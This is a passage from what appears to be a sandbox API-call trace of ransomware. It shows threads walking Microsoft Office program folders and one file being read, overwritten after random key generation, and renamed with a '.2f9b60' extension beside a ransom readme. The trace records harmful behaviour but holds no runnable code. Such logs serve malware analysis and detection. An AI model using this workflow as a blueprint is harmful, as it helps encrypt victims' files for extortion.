CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85ba30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa8c [0097.062] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1 [0097.062] wcscmp (_String1="Sounds", _String2=".") returned 1 [0097.062] wcscmp (_String1="Sounds", _String2="..") returned 1 [0097.062] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85d490 [0097.062] wcscpy (in: _Dest=0x1b85d490, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0097.062] wcscat (in: _Dest=0x1b85d490, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\" [0097.062] wcscat (in: _Dest=0x1b85d490, _Source="Sounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds" [0097.062] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85d490, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1080 [0097.064] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51bb8730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolBMPs", cAlternateFileName="")) returned 1 [0097.064] wcscmp (_String1="ToolBMPs", _String2=".") returned 1 [0097.064] wcscmp (_String1="ToolBMPs", _String2="..") returned 1 [0097.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f390 [0097.064] wcscpy (in: _Dest=0x1b85f390, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0097.064] wcscat (in: _Dest=0x1b85f390, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\" [0097.064] wcscat (in: _Dest=0x1b85f390, _Source="ToolBMPs" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs" [0097.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1084 [0097.065] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51174850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolData", cAlternateFileName="")) returned 1 [0097.065] wcscmp (_String1="ToolData", _String2=".") returned 1 [0097.065] wcscmp (_String1="ToolData", _String2="..") returned 1 [0097.065] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85f310 [0097.065] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0097.065] wcscat (in: _Dest=0x1b85f310, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\" [0097.065] wcscat (in: _Dest=0x1b85f310, _Source="ToolData" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData" [0097.065] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1088 [0097.066] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a4cdf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x709f1ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ToolIcons", cAlternateFileName="TOOLIC~1")) returned 1 [0097.066] wcscmp (_String1="ToolIcons", _String2=".") returned 1 [0097.066] wcscmp (_String1="ToolIcons", _String2="..") returned 1 [0097.066] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85f290 [0097.066] wcscpy (in: _Dest=0x1b85f290, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0097.066] wcscat (in: _Dest=0x1b85f290, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\" [0097.066] wcscat (in: _Dest=0x1b85f290, _Source="ToolIcons" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons" [0097.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x108c [0097.067] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 1 [0097.067] wcscmp (_String1="XML Files", _String2=".") returned 1 [0097.067] wcscmp (_String1="XML Files", _String2="..") returned 1 [0097.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85f210 [0097.067] wcscpy (in: _Dest=0x1b85f210, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove" [0097.068] wcscat (in: _Dest=0x1b85f210, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\" [0097.068] wcscat (in: _Dest=0x1b85f210, _Source="XML Files" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files" [0097.068] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1090 [0097.068] FindNextFileW (in: hFindFile=0x1cd9d910, lpFindFileData=0x1ce58780 | out: lpFindFileData=0x1ce58780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3caa70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3caa70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="XML Files", cAlternateFileName="XMLFIL~1")) returned 0 [0097.068] FindClose (in: hFindFile=0x1cd9d910 | out: hFindFile=0x1cd9d910) returned 1 [0097.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58780) returned 1 [0097.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e5d0) returned 1 [0097.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3500) returned 1 Thread: id = 397 os_tid = 0xf64 [0090.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add")) returned 0x20 [0090.246] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD", dwFileAttributes=0x20) returned 1 [0090.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\IMDIMP.ADD" (normalized: "c:\\program files\\microsoft office\\office14\\imdimp.add"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xab4 [0090.275] GetFileSizeEx (in: hFile=0xab4, lpFileSize=0x270bfca0 | out: lpFileSize=0x270bfca0*=29640) returned 1 [0090.275] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x73c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.275] ReadFile (in: hFile=0xab4, lpBuffer=0x270bfc20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x270bfc68, lpOverlapped=0x0 | out: lpBuffer=0x270bfc20*, lpNumberOfBytesRead=0x270bfc68*=0x4, lpOverlapped=0x0) returned 1 [0090.284] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0090.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859af0 [0090.284] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ac0 [0090.284] NtQuerySystemTime (in: CurrentTime=0x270bfb60 | out: CurrentTime=0x270bfb60*=132462176961346000) returned 0x0 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x314f8f4c [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x47b781d2 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x376ef852 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x3c92255e [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x78dfd822 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x30eabfd5 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x79bfcf8e [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x5b393863 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x49955bba [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x691ace0b [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x6e8a8600 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x5905dee [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x2f438f33 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x7518def5 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x687da110 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x480bf9d7 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x4820db22 [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0xf110ce [0090.284] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x9fdff04 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x576384c5 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x503b0fd4 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x30a23de [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x55a48a05 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x2184a071 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x60d0e9cd [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x6815763c [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x67519d13 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x5a64cdfa [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x1434c5c3 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0xc38e2f1 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x339451c5 [0090.285] RtlRandomEx (in: Seed=0x270bfb50 | out: Seed=0x270bfb50) returned 0x692f5339 [0090.297] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.297] ReadFile (in: hFile=0xab4, lpBuffer=0x1cf16700, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x270bfbc0, lpOverlapped=0x0 | out: lpBuffer=0x1cf16700*, lpNumberOfBytesRead=0x270bfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0090.330] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd973a0 [0090.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e890 [0090.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0090.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859be0) returned 1 [0090.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20113cc0 [0090.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859be0 [0090.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859970 [0090.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859970) returned 1 [0090.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e890) returned 1 [0090.331] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd973a0) returned 1 [0090.331] WriteFile (in: hFile=0xab4, lpBuffer=0x20113cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x270bfbc0, lpOverlapped=0x0 | out: lpBuffer=0x20113cc0*, lpNumberOfBytesWritten=0x270bfbc0*=0x3c00, lpOverlapped=0x0) returned 1 [0098.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20113cc0) returned 1 [0098.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf16700) returned 1 [0098.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x20260200 [0098.418] SetFilePointerEx (in: hFile=0xab4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0098.418] WriteFile (in: hFile=0xab4, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x270bfc70, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x270bfc70*=0x106, lpOverlapped=0x0) returned 1 [0105.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97620 [0105.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d710 [0105.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0105.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6530) returned 1 [0105.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82d000 [0105.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6530 [0105.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6800 [0105.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6800) returned 1 [0105.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d710) returned 1 [0105.020] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0105.020] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9f670 [0105.020] sprintf (in: _Dest=0x1cd9f670, _Format="%c%c" | out: _Dest="32") returned 2 [0105.020] sprintf (in: _Dest=0x1cd9f672, _Format="%c%c" | out: _Dest="a2") returned 2 [0105.020] sprintf (in: _Dest=0x1cd9f674, _Format="%c%c" | out: _Dest="69") returned 2 [0105.020] sprintf (in: _Dest=0x1cd9f676, _Format="%c%c" | out: _Dest="32") returned 2 [0105.020] sprintf (in: _Dest=0x1cd9f678, _Format="%c%c" | out: _Dest="6b") returned 2 [0105.020] sprintf (in: _Dest=0x1cd9f67a, _Format="%c%c" | out: _Dest="ff") returned 2 [0105.020] sprintf (in: _Dest=0x1cd9f67c, _Format="%c%c" | out: _Dest="09") returned 2 [0105.020] sprintf (in: _Dest=0x1cd9f67e, _Format="%c%c" | out: _Dest="72") returned 2 [0105.020] sprintf (in: _Dest=0x1cd9f680, _Format="%c%c" | out: _Dest="e8") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f682, _Format="%c%c" | out: _Dest="01") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f684, _Format="%c%c" | out: _Dest="82") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f686, _Format="%c%c" | out: _Dest="b8") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f688, _Format="%c%c" | out: _Dest="e4") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f68a, _Format="%c%c" | out: _Dest="05") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f68c, _Format="%c%c" | out: _Dest="aa") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f68e, _Format="%c%c" | out: _Dest="cf") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f690, _Format="%c%c" | out: _Dest="92") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f692, _Format="%c%c" | out: _Dest="27") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f694, _Format="%c%c" | out: _Dest="86") returned 2 [0105.021] sprintf (in: _Dest=0x1cd9f696, _Format="%c%c" | out: _Dest="d7") returned 2 [0105.021] RtlInitAnsiString (in: DestinationString=0x270bfce8, SourceString="32a269326bff0972e80182b8e405aacf922786d7" | out: DestinationString="32a269326bff0972e80182b8e405aacf922786d7") [0105.021] RtlAnsiStringToUnicodeString (in: DestinationString=0x270bfcb8, SourceString="32a269326bff0972e80182b8e405aacf922786d7", AllocateDestinationString=1 | out: DestinationString="32a269326bff0972e80182b8e405aacf922786d7") returned 0x0 [0105.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9ca90 [0105.021] wcscat (in: _Dest=0x202a4bf0, _Source="32a269326b" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\32a269326b") returned="C:\\Program Files\\Microsoft Office\\Office14\\32a269326b" [0105.021] wcscat (in: _Dest=0x202a4bf0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\32a269326b.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\32a269326b.2f9b60" [0105.021] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\32a269326b.2f9b60", NtPathName=0x270bfc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\32a269326b.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.021] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x4205da50 [0105.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205da50) returned 1 [0105.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061af0) returned 1 [0105.494] NtQueryInformationFile (in: FileHandle=0xab4, IoStatusBlock=0x270bfcf8, FileInformation=0x270bfd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x270bfcf8, FileInformation=0x270bfd08) returned 0x0 [0105.494] NtSetInformationFile (FileHandle=0xab4, IoStatusBlock=0x270bfcf8, FileInformation=0x270bfd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4bf0) returned 1 [0105.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca90) returned 1 [0105.562] FlushFileBuffers (hFile=0xab4) returned 1 [0105.577] CloseHandle (hObject=0xab4) returned 1 [0105.589] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x202a4bf0 [0105.590] wcscpy (in: _Dest=0x202a4bf0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0105.590] wcscat (in: _Dest=0x202a4bf0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" [0105.590] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\2f9b60-readme.txt")) returned 0x20 [0105.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4bf0) returned 1 [0105.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da10) returned 1 Thread: id = 398 os_tid = 0xf68 [0090.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85d590 [0090.145] wcscpy (in: _Dest=0x1b85d590, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0090.145] wcscat (in: _Dest=0x1b85d590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" [0090.145] wcscat (in: _Dest=0x1b85d590, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*" [0090.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce589f0 [0090.145] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\*", lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d970 [0090.308] wcscmp (_String1=".", _String2=".") returned 0 [0090.308] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.308] wcscmp (_String1="..", _String2=".") returned 1 [0090.308] wcscmp (_String1="..", _String2="..") returned 0 [0090.308] FindNextFileW (in: hFindFile=0x1cd9d970, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x545acaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64de54f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64de54f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathOMFormServices", cAlternateFileName="INFOPA~2")) returned 1 [0090.308] wcscmp (_String1="InfoPathOMFormServices", _String2=".") returned 1 [0090.308] wcscmp (_String1="InfoPathOMFormServices", _String2="..") returned 1 [0090.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1ce10c60 [0090.308] wcscpy (in: _Dest=0x1ce10c60, _Source="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM" [0090.309] wcscat (in: _Dest=0x1ce10c60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\" [0090.309] wcscat (in: _Dest=0x1ce10c60, _Source="InfoPathOMFormServices" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices") returned="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMFormServices" [0097.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1ce10c60, dwCreationFlags=0x0, lpThreadId=0x0 | out: 